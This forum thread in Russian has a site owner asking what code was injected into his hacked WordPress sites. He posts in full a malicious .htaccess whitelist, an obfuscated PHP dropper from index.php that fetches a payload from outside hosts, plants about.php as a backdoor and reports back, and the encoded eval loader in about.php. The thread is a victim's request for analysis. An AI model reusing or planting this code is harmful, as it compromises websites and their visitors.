Для вступления в общество новичков и профессионалов домен-индустрии, пожалуйста нажмите здесь ...

   
 Купля-продажа и обсуждение доменных имён
        

  
Вернуться   Форум о доменах > Дизайн и развитие проектов > Программирование
Регистрация Реноме Правила форума Справка Пользователи Социальные группы Все разделы прочитаны
Программирование PHP, Perl, HTML, XHTML, CSS, JavaScript, MySQL и другие языки кодирования.

Ответ
 
Опции темы
Сегодня
от 149р за .RU
Аренда сервера
2x Intel Hexa-Core Xeon E5-2420
Всего 79 евро!

с видеокартой GeForce GTX 1080 Ti
всего 99 евро!

от 149р за .РФ Реклама на DomenForum.net
Старый 30.11.2023, 10:37   #1
 
Аватар для Port_Artur
 
Регистрация: 03.12.2006
Адрес: Россия
Сообщений: 3,495
Доменные сделки: 24
Реноме: 1552
Одобрения
Спасибо (Отдано): 529
Спасибо (Получено): 750
Отправить сообщение для Port_Artur с помощью ICQ
Что делает этот код в .htaccess ?

Сегодня ночью на хостинге всем сайтом на Вордпресс были прописаны в основных папках wordpress .htaccess с вот таким содержанием

Код:
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php|mah.php|jp.php|ext.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>
Админ панель умерла по 403 ошибке
Но сами сайты работали


Что он делает?

добавлено через 11 минут
И ещё вот такая хрень в паре index.php

PHP код:
<?php
$O00OO_0_O_
=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$OO0O___0O0=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{26}.$O00OO_0_O_{30}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$O_O_0_O00O=$O00OO_0_O_{16}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{27}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_00O0OO__=$O00OO_0_O_{33}.$O00OO_0_O_{10}.$O00OO_0_O_{24}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_0_O0_O0O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{35}.$O00OO_0_O_{16}.$O00OO_0_O_{10};$O_O_O000_O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{23}.$O00OO_0_O_{35}.$O00OO_0_O_{33}.$O00OO_0_O_{30};$O___00OO0O=$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{24}.$O00OO_0_O_{12}.$O00OO_0_O_{6}.$O00OO_0_O_{23}.$O00OO_0_O_{12}.$O00OO_0_O_{2}.$O00OO_0_O_{30};$O__0O0_0OO=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{12}.$O00OO_0_O_{0}.$O00OO_0_O_{12}.$O00OO_0_O_{10};$O_OO_O000_=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{17}.$O00OO_0_O_{30}.$O00OO_0_O_{32};$OO0O0__O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O__O00_OO0=\'\'','if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O__O00_OO0;');$OOO_O00_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url','$OO0O0_0_O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');$O_OO__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovL25vcmlpLnJ1L2Fib3V0LnBocD81MjA=\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWJvdXQucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cDovLzUxbGEuY3ZpMS5jb20vYS50eHQ="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovLzUxbGEuY3ZpMS5jb20vP2Q9JXM=\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?><?php

Последний раз редактировалось Port_Artur; 30.11.2023 в 10:49. Причина: Добавлено сообщение
Port_Artur вне форума   Ответить с цитированием
Старый 30.11.2023, 11:57   #2
 
Регистрация: 12.12.2008
Сообщений: 2,394
Доменные сделки: 37
Реноме: 3429
Одобрения
Спасибо (Отдано): 454
Спасибо (Получено): 848
вирусятина встраивает что-то ))
urldecode явно расшифровывает какую-то ссылку, чтобы потом позловредничать
zyubr вне форума   Ответить с цитированием
Старый 30.11.2023, 12:09   #3
 
Аватар для Port_Artur
 
Регистрация: 03.12.2006
Адрес: Россия
Сообщений: 3,495
Доменные сделки: 24
Реноме: 1552
Одобрения
Спасибо (Отдано): 529
Спасибо (Получено): 750
Отправить сообщение для Port_Artur с помощью ICQ
Ещё в корень сайта был добавлен сайт about.php:

Код HTML:
<?php $L66Rgr=explode(base64_decode("Pz4="),file_get_contents(__FILE__)); $L6CRgr=array(base64_decode("L3gvaQ=="),base64_decode("eA=="),base64_decode(strrev(str_rot13($L66Rgr[1]))));$L7CRgr = "cd5c82c7b2dc21ead5716d54b8a2a71a";preg_replace($L6CRgr[0],serialize(eval($L6CRgr[2])),$L6CRgr[1]);exit();?>=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